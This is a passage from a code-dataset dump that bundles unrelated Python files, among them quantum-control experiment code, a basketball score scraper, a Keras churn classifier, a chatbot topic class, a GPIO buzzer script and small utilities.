showlegend=False,\n xaxis=dict(\n # tickmode='linear',\n # ticks='outside',\n # tick0=1,\n dtick=5,\n ticklen=8,\n tickwidth=2,\n tickcolor=\"#000\",\n showgrid=True,\n zeroline=True,\n # showline=True,\n # mirror='ticks',\n # gridcolor='#bdbdbd',\n gridwidth=2,\n ),\n )\n updated_fig = fig\n return updated_fig\n","sub_path":"components/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":2398,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"400094090","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun May 30 11:44:39 2021\n\n@author: qulab\n\"\"\"\nimport numpy as np\nfrom fpga_lib.dsl import *\nfrom fpga_lib.parameters import *\nfrom fpga_lib.experiments import *\nfrom fpga_lib import entities\nfrom fpga_lib.constants import Timing\n\nfrom gkp_exp.CD_gate.conditional_displacement_compiler import SBS_simple_compiler, ConditionalDisplacementCompiler, ECD_control_simple_compiler\n\n\nclass GKP(Calibratable):\n \"\"\"\n Args:\n cal_dir (str): directory with CD gate amplitude calibrations\n \"\"\"\n # Params for ECDC sequences\n qubit_pulse_pad = IntParameter(4)\n s_tau_ns = IntParameter(20)\n b_tau_ns = IntParameter(150)\n cal_dir = StringParameter(r'D:\\DATA\\exp\\2021-06-28_cooldown\\CD_fixed_time_amp_cal')\n plusX_file = StringParameter(r'D:\\DATA\\exp\\2021-06-28_cooldown\\gkp_prep\\plus_X.npz')\n plusY_file = StringParameter('')\n plusZ_file = StringParameter('')\n\n # Params for echoed feedback reset\n echo_delay = IntParameter(868)\n feedback_delay = IntParameter(0)\n final_delay = IntParameter(64)\n \n # Params for Kerr-cancelling drive\n Kerr_drive_time_ns = IntParameter(200)\n Kerr_drive_ramp_ns = IntParameter(200)\n Kerr_drive_detune_MHz = FloatParameter(15)\n \n # Params misc\n loop_delay = IntParameter(4e6)\n t_stabilizer_ns = IntParameter(150)\n init_tau_ns = IntParameter(50)\n t_mixer_calc_ns = IntParameter(600)\n \n \n \n def __init__(self, qubit, readout, name='gkp'):\n super(GKP, self).__init__(name)\n self.qubit, self.readout = qubit, readout\n \n @subroutine\n def reset_feedback_with_echo(self, echo_delay, final_delay, feedback_delay=0, log=False, res_name='default'):\n \"\"\"\n Feedback reset with echo during readout.\n \n Args:\n echo_delay (int): delay in [ns] from the beginning of the readout\n to the qubit echo pulse.\n final_delay (int): delay in [ns] after the feedback to cancel \n deterministic (state-independent) cavity rotation.\n feedback_delay (int): delay in [ns] of the feedback pulse. There \n will be additional processing time contribution on top of this.\n log (bool): flag to log the measurement outcome.\n res_name (str): name of the result if measurement is logged.\n \"\"\"\n sync()\n delay(echo_delay, channel=self.qubit.chan, round=True)\n self.qubit.flip() # echo pulse\n self.readout(wait_result=True, log=log, sync_at_beginning=False, **{res_name:'se'})\n sync()\n delay(feedback_delay, round=True)\n if_then_else(self.qubit.measured_low(), 'flip', 'wait')\n \n label_next('flip')\n self.qubit.flip()\n goto('continue')\n \n label_next('wait')\n delay(self.qubit.pulse.length)\n goto('continue')\n \n label_next('continue')\n delay(final_delay, round=True)\n sync()\n\n @subroutine\n def reset_feedback_with_phase_update(self, phase_reg, phase_g_reg, phase_e_reg,\n log=False, res_name='default', detune=0.0, drag=0.0):\n \"\"\"\n Feedback reset with echo during readout.\n \n Args:\n phase_reg (Register): phase register to be updated.\n phase_g_reg, phase_e_reg (Register): phases that will be added to \n the phase_reg depending on the measured outcome.\n log (bool): flag to log the measurement outcome.\n res_name (str): name of the result if measurement is logged.\n detune, drag (float): exra detuning and drag that will be added\n to the calibrated pulse values.\n \"\"\"\n sync()\n self.readout(wait_result=True, log=log, **{res_name:'se'})\n delay(4*Timing.send_ext_fn) # TODO: might not need this set_int_fn\n if_then_else(self.qubit.measured_low(), 'wait', 'flip')\n \n label_next('flip')\n self.qubit.flip(detune=self.qubit.pulse.detune+detune, drag=self.qubit.pulse.drag+drag)\n phase_reg += phase_e_reg\n goto('continue')\n \n label_next('wait')\n self.qubit.delay(self.qubit.pulse.length)\n phase_reg += phase_g_reg\n goto('continue')\n \n label_next('continue')\n sync()\n\n\n @subroutine\n def reset_feedback_with_phase_update_and_Kerr_drive(self, phase_reg, phase_g_reg, phase_e_reg,\n log=False, res_name='default', detune=0.0, drag=0.0, \n Kerr_g_amp=0.0, Kerr_e_amp=0.0):\n \"\"\"\n Feedback reset with phase update and Kerr-cancelling drive. Surprise.\n \n Args:\n phase_reg (Register): phase register to be updated.\n phase_g_reg, phase_e_reg (Register): phases that will be added to \n the phase_reg depending on the measured outcome.\n log (bool): flag to log the measurement outcome.\n res_name (str): name of the result if measurement is logged.\n detune, drag (float): exra detuning and drag that will be added\n to the calibrated pulse values.\n Kerr_g_amp, Kerr_e_amp (float): amplitude of the Kerr drive\n \"\"\"\n sync()\n self.readout(wait_result=True, log=log, **{res_name:'se'})\n delay(4*Timing.send_ext_fn) # TODO: might neeed set_int_fn?\n if_then_else(self.qubit.measured_low(), 'meas_g', 'meas_e')\n \n label_next('meas_e')\n sync()\n self.qubit.flip(detune=self.qubit.pulse.detune+detune, drag=self.qubit.pulse.drag+drag)\n phase_reg += phase_e_reg\n sync()\n self.qubit_detuned.smoothed_constant_pulse(self.Kerr_drive_time_ns,\n amp=Kerr_e_amp, sigma_t=self.Kerr_drive_ramp_ns)\n self.update_phase(phase_reg, self.cavity, self.t_mixer_calc_ns)\n sync()\n goto('continue')\n \n label_next('meas_g')\n sync()\n self.qubit.delay(self.qubit.pulse.length)\n phase_reg += phase_g_reg\n sync()\n self.qubit_detuned.smoothed_constant_pulse(self.Kerr_drive_time_ns,\n amp=Kerr_g_amp, sigma_t=self.Kerr_drive_ramp_ns)\n self.update_phase(phase_reg, self.cavity, self.t_mixer_calc_ns)\n sync()\n goto('continue')\n \n label_next('continue')\n sync()\n \n\n def reset_autonomous_Murch(self, qubit_detuned_obj, readout_detuned_obj,\n cool_duration_ns, qubit_ramp_ns, readout_ramp_ns,\n qubit_amp, readout_amp, qubit_detune_MHz, readout_detune_MHz,\n qubit_angle, qubit_phase, final_delay):\n \"\"\"\n Setup autonomous qubit cooling based on this Murch paper:\n https://journals.aps.org/prl/abstract/10.1103/PhysRevLett.109.183602\n \n Args:\n qubit_detuned_obj (Mode): qubit mode to use in the protocol\n readout_detuned_obj (Mode): readout mode to use in the protocol\n cool_duration_ns (int): how long in [ns] to hold the constant\n Rabi drive on the qubit after ramping it up.\n qubit_ramp_ns (int): duration in [ns] of the qubit Rabi drive\n ramp up/down.\n readout_ramp_ns (int): duration in [ns] of the detuned readout\n drive ramp up/down. This can typically be shorter than the\n qubit ramp because the pulse is far detuned.\n qubit_amp (float): amplitude of the qubit Rabi pulse.\n readout_amp (float): amplitude of the detuned readout pulse.\n readout_detune_MHz (float): detuning of the readout pulse in [MHz]. \n Ideally equal to the qubit Rabi rate.\n qubit_detune_MHz (float): detuning of the qubit pulse in [MHz]\n qubit_angle, qubit_phase (float): final qubit rotation parameters\n final_delay (int): delay in [ns] after the cooling protocol\n \n Returns:\n cooling subroutine.\n \"\"\"\n self.qubit_detuned = qubit_detuned_obj\n self.readout_detuned = readout_detuned_obj\n\n sync()\n self.readout_detuned.set_detune(readout_detune_MHz*1e6)\n self.qubit_detuned.set_detune(qubit_detune_MHz*1e6)\n sync()\n \n qubit_pump_time = cool_duration_ns\n readout_pump_time = cool_duration_ns+2*qubit_ramp_ns-2*readout_ramp_ns\n \n @subroutine\n def cooling_Murch():\n sync()\n self.readout_detuned.smoothed_constant_pulse(\n readout_pump_time, amp=readout_amp, sigma_t=readout_ramp_ns)\n self.qubit_detuned.smoothed_constant_pulse(\n qubit_pump_time, amp=qubit_amp, sigma_t=qubit_ramp_ns)\n sync()\n self.qubit.rotate(qubit_angle, qubit_phase)\n sync()\n delay(final_delay, round=True)\n\n return lambda: cooling_Murch()\n\n\n def sbs(self, eps1, eps2, beta, s_tau_ns, b_tau_ns):\n \"\"\"\n Single step of SBS protocol based on this Baptiste paper:\n https://journals.aps.org/prl/abstract/10.1103/PhysRevLett.125.260509\n \n The pulse sequence is compile based on the independent calibration of\n the conditional displacement amplitude. \n \n Args:\n eps1, eps2 (float): 1st/2nd small CD amplitude\n beta (float): big CD amplitude\n \n s_tau_ns, b_tau_ns (int): wait time in the small/big CD gate\n \"\"\"\n CD_compiler_kwargs = dict(qubit_pulse_pad=self.qubit_pulse_pad)\n C = SBS_simple_compiler(CD_compiler_kwargs, self.cal_dir)\n \n cavity_pulse, qubit_pulse = C.make_pulse(1j*eps1/2.0, 1j*eps2/2.0, beta,\n s_tau_ns, b_tau_ns)\n\n def sbs_step(s):\n \"\"\"\n Args:\n s (str): stabilization qudrature, either 'x' or 'p' \n \"\"\"\n phase = dict(x=0.0, p=np.pi/2.0)\n sync()\n self.cavity.array_pulse(*cavity_pulse, phase=phase[s])\n self.qubit.array_pulse(*qubit_pulse)\n sync()\n \n return sbs_step\n\n def load_sbs_sequence(self, s_tau, b_tau, ECD_filename, version):\n \"\"\"\n Args:\n version (str): \n - v1 is a simple version in which only ECD parameters beta & phi\n are loaded from the file.\n - v2 is a more complicated version in which qubit detunings and\n parameters of the pi-pulses are also used in addition to beta & phi.\n - v3 is like v2 but it returns an sbs_step that uses dynamix mixer.\n \"\"\"\n if version == 'v1':\n data = np.load(ECD_filename, allow_pickle=True)\n beta, phi = data['beta'], data['phi']\n tau = np.array([s_tau, b_tau, s_tau, 0])\n \n CD_compiler_kwargs = dict(qubit_pulse_pad=self.qubit_pulse_pad)\n C = ECD_control_simple_compiler(CD_compiler_kwargs, self.cal_dir)\n c_pulse, q_pulse = C.make_pulse(beta, phi, tau)\n if version in ['v2', 'v3']:\n data = np.load(ECD_filename, allow_pickle=True)\n beta, phi, phi_CD, alpha_correction = data['beta'], data['phi'], data['flip'], data['alpha_correction']\n detune, drag = data['qb_detune']*np.ones([4,2]), data['qb_drag']*np.ones([4,2])\n \n tau = np.array([s_tau, b_tau, s_tau, 0])\n \n CD_compiler_kwargs = dict(qubit_pulse_pad=self.qubit_pulse_pad)\n C = ECD_control_simple_compiler(CD_compiler_kwargs, self.cal_dir)\n c_pulse, q_pulse = C.make_pulse_v2(beta, phi, phi_CD, tau, detune, alpha_correction, drag)\n \n if version in ['v1', 'v2']:\n def sbs_step(s):\n \"\"\"\n Args:\n s (str): stabilizer direction, either 'x' or 'p'\n \"\"\"\n phase = dict(x=0.0, p=np.pi/2.0)\n sync()\n self.cavity.array_pulse(c_pulse.real, c_pulse.imag, phase=phase[s])\n self.qubit.array_pulse(q_pulse.real, q_pulse.imag)\n sync()\n \n if version == 'v3':\n def sbs_step():\n sync()\n self.cavity.array_pulse(c_pulse.real, c_pulse.imag, amp='dynamic')\n self.qubit.array_pulse(q_pulse.real, q_pulse.imag)\n sync() \n \n return sbs_step\n \n def export_ECDC_to_array_pulse(self, ecdc_filename, array_pulse_filename, **kwargs):\n \"\"\"\" Convert ECDC sequence to an array pulse and export it to a file.\n This is useful in case when different calibrated pulse parameters change\n and the previously optimized sequence becomes suboptimal. Saving the\n whole array pulse avoids this problem, since it no longer relies on cal.\"\"\"\n \n cond = 'qubit_pulse_pad' in kwargs.keys()\n qubit_pulse_pad = kwargs.pop('qubit_pulse_pad') if cond else self.qubit_pulse_pad\n \n cond = 'init_tau_ns' in kwargs.keys()\n init_tau_ns = kwargs.pop('init_tau_ns') if cond else self.init_tau_ns\n \n cond = 'cal_dir' in kwargs.keys()\n cal_dir = kwargs.pop('cal_dir') if cond else self.cal_dir \n \n CD_compiler_kwargs = dict(qubit_pulse_pad=qubit_pulse_pad)\n C = ECD_control_simple_compiler(CD_compiler_kwargs, cal_dir)\n data = np.load(ecdc_filename, allow_pickle=True)\n beta, phi = data['beta'], data['phi']\n tau = np.array([init_tau_ns]*len(data['beta']))\n c_pulse, q_pulse = C.make_pulse(beta, phi, tau)\n np.savez(array_pulse_filename, c_pulse=c_pulse, q_pulse=q_pulse)\n \n\n def stabilizer_phase_estimation(self, tau_ns):\n \n beta = np.sqrt(2*np.pi) # stabilizer CD amplitude\n C = ConditionalDisplacementCompiler(qubit_pulse_pad=self.qubit_pulse_pad)\n CD_params = C.CD_params_fixed_tau_from_cal(beta, tau_ns, self.cal_dir)\n cavity_pulse, qubit_pulse = C.make_pulse(*CD_params)\n \n def stabilizer_phase_estimation(s):\n phase = {'x' : 0.0, 'x+' : 0.0, 'x-' : np.pi, \n 'p' : np.pi/2.0, 'p+' : np.pi/2.0, 'p-' : -np.pi/2.0}\n sync()\n self.qubit.pi2_pulse(phase=np.pi/2.0)\n sync()\n self.cavity.array_pulse(*cavity_pulse, phase=phase[s])\n self.qubit.array_pulse(*qubit_pulse)\n sync()\n self.qubit.pi2_pulse(phase=-np.pi/2.0)\n sync()\n delay(24)\n self.readout(**{s:'se'})\n sync()\n \n return stabilizer_phase_estimation\n \n \n\n def displacement_phase_estimation(self, beta, tau_ns, res_name, \n echo_params=None, amp=1):\n \n C = ConditionalDisplacementCompiler(qubit_pulse_pad=self.qubit_pulse_pad)\n CD_params = C.CD_params_fixed_tau_from_cal(beta, tau_ns, self.cal_dir)\n cavity_pulse, qubit_pulse = C.make_pulse(*CD_params)\n \n sync()\n self.qubit.pi2_pulse(phase=np.pi/2.0)\n sync()\n self.cavity.array_pulse(*cavity_pulse, amp=amp)\n self.qubit.array_pulse(*qubit_pulse)\n sync()\n self.qubit.pi2_pulse(phase=-np.pi/2.0)\n sync()\n delay(24)\n if echo_params is not None:\n self.reset_feedback_with_echo(\n echo_params['echo_delay'], echo_params['final_delay'], \n log=True, res_name=res_name)\n else:\n self.readout(**{res_name:'se'})\n sync()\n \n\n def update_phase(self, phase_reg, mode, t_mixer_calc=400):\n c = FloatRegister()\n s = FloatRegister()\n c = af_cos(phase_reg)\n s = af_sin(phase_reg)\n DynamicMixer[0][0] <<= c\n DynamicMixer[1][0] <<= s\n DynamicMixer[0][1] <<= -s\n DynamicMixer[1][1] <<= c\n mode.delay(t_mixer_calc)\n mode.load_mixer()\n \n @subroutine\n def reset_mixer(self, mode, t_mixer_calc):\n sync()\n zero_phase_reg = FloatRegister(0)\n self.update_phase(zero_phase_reg, mode, t_mixer_calc)\n sync()\n ","sub_path":"gkp_qec/GKP.py","file_name":"GKP.py","file_ext":"py","file_size_in_byte":16249,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"205844757","text":"n=int(input())\n\nfor _ in range(n):\n s=input()\n for i in range(len(s)-1):\n if s[i]!=s[i+1]:\n if s[i] in s[i+1:]:\n n-=1\n break\nprint(n)\n","sub_path":"boj(baekjoon)/boj_1316.py","file_name":"boj_1316.py","file_ext":"py","file_size_in_byte":188,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"564377077","text":"from typing import Dict, Any, List, Optional, Union\n\n\ndef parse_topic(raw_topic: Dict[str, Any]) -> \"Topic\":\n topic_type = raw_topic[\"type\"]\n if topic_type == \"simple\":\n return Topic.from_dict(raw_topic)\n\n\nclass Topic:\n \"\"\"Topic to explain.\n\n Author: Bruno.\n \"\"\"\n\n def __eq__(self, other):\n return self._id == other._id\n\n @staticmethod\n def from_dict(raw_topic: Dict[str, Any]) -> \"Topic\":\n if raw_topic.get(\"examples\") is None:\n examples = []\n else:\n examples = raw_topic.get(\"examples\")\n if raw_topic.get(\"sub_topics\") is None:\n subtopics = []\n else:\n subtopics = [parse_topic(raw_topic) for raw_topic in raw_topic[\"sub_topics\"]]\n if raw_topic.get(\"questions\") is None:\n questions = []\n else:\n questions = raw_topic.get(\"questions\")\n return Topic(raw_topic[\"topic_id\"],\n raw_topic[\"utters\"],\n examples,\n subtopics,\n questions)\n\n # noinspection PyTypeChecker\n def __init__(\n self,\n topic_id: str,\n utters_explanations: List[str],\n examples: Optional[List[str]] = None,\n sub_topics: Optional[List[\"Topic\"]] = None,\n questions: Optional[List[str]] = None\n ):\n \"\"\"\n Constructor.\n\n Author: Bruno.\n\n Parameters\n ----------\n topic_id\n Identification for the topic.\n utters_explanations\n Possible explanations for the topic.\n examples\n Examples to give for the topic.\n sub_topics\n Sub topics of the topic.\n questions\n Questions to make to the user.\n \"\"\"\n self._id = topic_id\n self._utters_explanations = utters_explanations\n # Default detail level is the middle one.\n self._detail_level = int(len(utters_explanations) / 2)\n self.is_explained = False\n\n self._examples = [] if examples is None else examples\n self._current_example = 0\n\n self._sub_topics = [] if sub_topics is None else sub_topics\n self._current_sub_topic = 0\n\n self._questions = [] if questions is None else questions\n self._current_question = 0\n\n def get(self) -> Dict[str, \"Topic\"]:\n \"\"\"\n Get the current topic.\n\n Author: Tomas\n\n Returns\n -------\n Dictionary with the current topic's information and\n each subtopic within the main topic.\n \"\"\"\n topics = {self._id: self}\n for topic in self._sub_topics:\n topics.update(topic.get())\n return topics\n\n def set_current_example(self, example: int):\n \"\"\"\n Set the current examples' index.\n\n Author: Tomas\n\n Parameters\n ----------\n\n example\n new examples' index\n \"\"\"\n self._current_example = example\n\n def get_current_example(self) -> int:\n \"\"\"\n Get the current examples' index.\n\n Author: Tomas\n\n Returns\n -------\n The index of the current example.\n \"\"\"\n return self._current_example\n\n def get_explanation(self, mark_as_explained: bool = True) -> str:\n \"\"\"Explains the topic. Marks the topic as explained.\n\n Author: Bruno.\n\n Returns\n -------\n Utter associated to the explanation with current detail level.\n \"\"\"\n if mark_as_explained:\n self.is_explained = True\n if self._detail_level >= len(self._utters_explanations):\n self._detail_level = 0\n return self._utters_explanations[self._detail_level]\n \n\n def get_example(self) -> str:\n \"\"\"\n Get the utter associated to the next example to give.\n\n Author: Tomas\n\n Returns\n -------\n Utter associated to the next example if the topic has any example,\n otherwise it returns a default utter.\n \"\"\"\n if self._current_example < len(self._examples):\n example = self._examples[self._current_example]\n self._current_example += 1\n return example\n else:\n self._current_example = 0\n return \"utter_sin_ejemplos\"\n\n def get_question(self) -> str:\n \"\"\"\n Get the utter associated to the topic's next question.\n\n Author: Adrian\n\n Returns\n -------\n Utter associated to the next question if the topic has any,\n otherwise it returns a default utter.\n \"\"\"\n if self._current_question < len(self._questions):\n question = self._questions[self._current_question]\n self._current_question += 1\n return question\n else:\n self._current_question = 0\n return \"utter_sin_question\"\n\n def next(self) -> Union[\"Topic\", None]:\n \"\"\"Returns the next topic to explain.\n\n Author: Bruno.\n\n Returns\n -------\n Next topic to explain.\n \"\"\"\n if not self.is_explained:\n return self\n\n if self._current_sub_topic < len(self._sub_topics):\n topic = self._sub_topics[self._current_sub_topic]\n self._current_sub_topic += 1\n return topic\n\n return None\n\n def restart(self):\n \"\"\"Restarts the topic, so it can be explained again.\n\n Author: Bruno.\n \"\"\"\n self.is_explained = False\n self._current_example = 0\n self._current_sub_topic = 0\n for topic in self._sub_topics:\n topic.restart()\n\n def get_id(self) -> str:\n \"\"\"\n Get the current topic ID\n\n Author: Adrian\n\n Returns\n -------\n Topic's name.\n \"\"\"\n return self._id\n\n def set_explained(self, explained: bool):\n \"\"\"\n Set the current topic as explained or not explained.\n\n Author: Adrian\n\n Parameters\n ----------\n\n explained\n Boolean value to set if the current topic is explained or not.\n \"\"\"\n self.is_explained = explained\n\n @property\n def repeat(self) -> str:\n \"\"\"Repeats the explanation for the topic.\n\n Author: Bruno.\n\n Returns\n -------\n Utter associated to the explanation with next detail level if possible.\n Otherwise returns the utter for the maximum detail level.\n \"\"\"\n self._detail_level += 1\n\n \"\"\"Se marca como explicado aunque no esta explicado bien\"\"\"\n self.is_explained = True\n if self._detail_level >= len(self._utters_explanations):\n return self._utters_explanations[-1] # -1 = last element.\n\n return self._utters_explanations[self._detail_level]\n\n def get_amount_subtopics(self) -> int:\n \"\"\"\n Get the amount of subtopics of the current topic.\n\n Author: Tomas\n\n Returns\n -------\n Returns the amount of subtopics that the current topic has.\n \"\"\"\n return self._current_sub_topic\n","sub_path":"tour/topic/topics.py","file_name":"topics.py","file_ext":"py","file_size_in_byte":7074,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"135076150","text":"from aiohttp import ClientSession\nimport aiohttp\nimport json\nfrom apps.NBL.tools import safe_get\nimport time\nfrom common.libs.log import LogMgr\n\n\n# 设置日志\nlogger = LogMgr.get('acb_score_svr')\n\n\nclass GetScores(object):\n async def get_scores(self, game_id):\n url = 'https://www.fibalivestats.com/data/%s/data.json' % str(game_id)\n conn = aiohttp.TCPConnector(verify_ssl=False)\n async with ClientSession(connector=conn) as session:\n try:\n logger.info('请求前。。。。')\n logger.info(time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time())))\n async with session.get(url) as response:\n logger.info('请求后。。。。')\n logger.info(time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time())))\n if response.status == 200:\n response = await response.text()\n player_stat = json.loads(response)\n try:\n scores_info = player_stat['pbp'][0]\n home_p1_score = safe_get(player_stat,'tm.1.p1_score')\n home_p2_score = safe_get(player_stat,'tm.1.p2_score')\n home_p3_score = safe_get(player_stat,'tm.1.p3_score')\n home_p4_score = safe_get(player_stat,'tm.1.p4_score')\n home_p5_score = safe_get(player_stat,'tm.1.p5_score')\n away_p1_score = safe_get(player_stat,'tm.2.p1_score')\n away_p2_score = safe_get(player_stat,'tm.2.p2_score')\n away_p3_score = safe_get(player_stat,'tm.2.p3_score')\n away_p4_score = safe_get(player_stat,'tm.2.p4_score')\n away_p5_score = safe_get(player_stat,'tm.2.p5_score')\n home_scores = [home_p1_score,home_p2_score,home_p3_score,home_p4_score,home_p5_score]\n away_scores = [away_p1_score,away_p2_score,away_p3_score,away_p4_score,away_p5_score]\n home_scores_total = sum(home_scores)\n away_scores_total = sum(away_scores)\n if player_stat['inOT'] != 0:\n period = scores_info['period'] + 4\n else:\n period = scores_info['period']\n match_time = scores_info['gt']\n minutes = match_time.split(':')[0]\n second = match_time.split(':')[1]\n seconds = int(minutes) * 60 + int(second)\n if period < 5:\n if match_time == '00:00':\n status_id = 2 * period + 1\n else:\n status_id = 2 * period\n else:\n status_id = 9\n if seconds == 0 and period >= 4 and home_scores_total != away_scores_total:\n status_id = 10\n data = {\n 'sport_id': 2,\n 'site': 'acb',\n 'matches': {\n game_id: {\n 'score': {\n 'tmr': {'ticking': 0, 'coundown': 1, 'addtime': 0, 'second': seconds},\n 'status_id': status_id,\n 'home_scores': home_scores,\n 'away_scores': away_scores,\n }\n }\n }\n }\n return data\n except:\n return 0\n else:\n return 0\n except:\n return 0\n","sub_path":"apps/ACB/acb_score.py","file_name":"acb_score.py","file_ext":"py","file_size_in_byte":4191,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"149692422","text":"import RPi.GPIO as GPIO\nimport time\n\nGPIO_BUZZER = 21\nGPIO.setwarning(False)\nGPIO.setmote(GPIO.BCM)\nGPIO.setup(GPIO_BUZZER, GPIO.OUT, initial = GPIO.LOW)\nHz = 440 * 3\np = GPIO.PWM(GPIO_BUZZER, 1)\np.ChangeFrequency(Hz)\np.start(50)\ntime.sleep(0.05)\np.stop()\ntime.sleep(0.05)\np.ChangeFrequency(Hz)\np.start(50)\ntime.sleep(0.05)\np.stop()\nGPIO.cleanup()\n","sub_path":"buzzer.py","file_name":"buzzer.py","file_ext":"py","file_size_in_byte":348,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"195886800","text":"################################################################################\n# Artificial Neural Network #\n# Would a customer leave the bank? #\n# Featuring: #\n# * 10-fold cross validation evaluation schema #\n# * 2 hidden layers #\n# * BatchNormalization #\n################################################################################\n'''\nMake sure python supports tensorflow by installing python version 3.5.3.\nRead the \"py53\" text file\n'''\nimport os\nimport datetime\nimport numpy as np\nimport random\nimport pandas as pd\nfrom sklearn.preprocessing import LabelEncoder, OneHotEncoder\nfrom sklearn.model_selection import cross_val_score, train_test_split\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.metrics import confusion_matrix, accuracy_score\nimport keras\nfrom keras.wrappers.scikit_learn import KerasClassifier\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nfrom keras.layers.normalization import BatchNormalization\nfrom tensorflow.contrib.keras import backend\n\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '2' # filter out WARNING logs\n\n\n#########################\n# Define the ANN schema #\n#########################\ndef build_classifier():\n classifier = Sequential(layers=None) # the design of the layers would be manual\n # Add the input layer and the first hidden layer\n classifier.add(Dense(units=6, kernel_initializer='uniform', activation='relu', input_dim=11))\n classifier.add(BatchNormalization())\n # Add a second hidden layer\n classifier.add(Dense(units=6, kernel_initializer='uniform', activation='relu'))\n classifier.add(BatchNormalization())\n # Add the output layer\n classifier.add(Dense(units=1, kernel_initializer='uniform', activation='sigmoid'))\n # Compiling the ANN\n classifier.compile(optimizer='adam', loss='binary_crossentropy', metrics=['accuracy'])\n # Return the classifier\n return classifier\n\n\nif __name__ == \"__main__\":\n ################\n # Get the Data #\n ################\n # Importing the dataset\n dataset = pd.read_csv(os.path.join('data', 'Churn_Modelling.csv')) # , index_col='RowNumber')\n # Keep only useful columns\n dataset.drop(['RowNumber', 'CustomerId', 'Surname'], axis=1, inplace=True)\n X = dataset.drop(['Exited'], axis=1).values # returns numpy.ndarry\n y = dataset.loc[:, 'Exited'].values\n\n ######################\n # Data Preprocessing #\n ######################\n # 1. Encoding the Independent (categorical) Variables\n # Convert labels [Germany, France, Spain] into levels [1, 2, 3]\n labelencoder_X_1 = LabelEncoder()\n X[:, 1] = labelencoder_X_1.fit_transform(X[:, 1])\n labelencoder_X_2 = LabelEncoder()\n X[:, 2] = labelencoder_X_2.fit_transform(X[:, 2])\n # 2. Convert levels [1, 2, 3] into one-hot representation [001, 010, 100]\n onehotencoder = OneHotEncoder(categorical_features=[1])\n X = onehotencoder.fit_transform(X).toarray()\n # 3. Remove a single one-hot variable to avoid the dummy variable trap\n X = X[:, 1:] # remove column 0\n\n #####################\n # Split the Dataset #\n #####################\n X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3, random_state=1633)\n\n ###################\n # Feature Scaling #\n ###################\n sc = StandardScaler()\n X_train = sc.fit_transform(X_train)\n X_test = sc.transform(X_test)\n\n #################\n # Train the ANN #\n #################\n random.seed(1553)\n # Global classifier variable\n classifier = KerasClassifier(\n # Supply the ANN architecture\n build_fn=build_classifier,\n # Supply the training parameters\n batch_size=10,\n epochs=100)\n\n # Execute cross validation\n time_0 = datetime.datetime.now()\n accuracies = cross_val_score(estimator=classifier,\n X=X_train, y=y_train,\n cv=8,\n n_jobs=-1)\n time_taken = datetime.datetime.now() - time_0\n\n ######################\n # Evaluate the Model #\n ######################\n mean = accuracies.mean()\n var = accuracies.std() ** 2\n\n #############################\n # Remove model form CPU/GPU #\n #############################\n backend.clear_session()\n\n #################\n # Print Results #\n #################\n print('\\n###########################################################')\n print('# Avg Accuracy: ' + str(mean)) # Avg Accuracy: 0.8361\n print('# Variance: ' + str(var)) # Variance: 0.0002\n print('# Time: ' + str(time_taken)) # Time: 0:03:38\n print('###########################################################\\n')\n","sub_path":"topic_1_ANN/banking_churn_basic_K_fold_CV.py","file_name":"banking_churn_basic_K_fold_CV.py","file_ext":"py","file_size_in_byte":4976,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"178632369","text":"# This file is placed in the Public Domain.\n\n\n\"commands\"\n\n\nfrom ..objects import Object\n\n\ndef __dir__():\n return (\n 'Command',\n )\n\n\n__all__ = __dir__()\n \n\nclass Command(Object):\n\n cmds = Object()\n errors = []\n\n @staticmethod\n def add(cmd):\n setattr(Command.cmds, cmd.__name__, cmd)\n\n @staticmethod\n def dispatch(evt):\n if not evt.isparsed:\n evt.parse(evt.txt)\n func = getattr(Command.cmds, evt.cmd, None)\n if func:\n try:\n func(evt)\n except Exception as ex:\n exc = ex.with_traceback(ex.__traceback__)\n Command.errors.append(exc)\n evt.ready()\n return None\n evt.show()\n evt.ready()\n\n @staticmethod\n def remove(cmd):\n delattr(Command.cmds, cmd)\n","sub_path":"rssbot/runtime/command.py","file_name":"command.py","file_ext":"py","file_size_in_byte":850,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"298248598","text":"def split(line, types=None, delimiter=None):\n \"\"\"Splits a line of test and optionally performs type conversion.\n For example:\n\n >>> split('GOOD 100 490.50')\n ['GOOD', '100', '490.50']\n >>> split('GOOD 100 490.50', [str, int, float])\n ['GOOD', 100, 490.50]\n >>>\n By default, splitting is perfomed on whitespace, but a different delimiter\n can be selected with the delimiter keyword argument:\n\n >>> split('GOOD, 100, 490.50', delimiter=',')\n ['GOOOD', '100', '490.50']\n >>>\n \"\"\"\n\n fields = line.split(delimiter)\n if types:\n fields = [ty(val) for ty, val in zip(types, fields)]\n return fields\n\nif __name__ == '__main__':\n # test myself\n import doctest\n doctest.testmod(verbose=True)","sub_path":"pyDemo/doc_test/2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":743,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"205899849","text":"import csv\n\nfrom django.test import TestCase\n\nfrom django_test_tools.file_utils import temporary_file\nfrom django_test_tools.mixins import TestOutputMixin\n\n\nclass TestTestOutputMixin(TestCase):\n @temporary_file('csv', delete_on_exit=True)\n def test_get_csv_content(self):\n outputfile = self.test_get_csv_content.filename\n with open(outputfile, 'w', encoding='utf-8') as csvfile:\n csv_writer = csv.writer(csvfile, delimiter=',')\n csv_writer.writerow(['Title 1', 'Title 2', 'Title 3', 'Title 4', 'Title 5'])\n for i in range(0, 6):\n 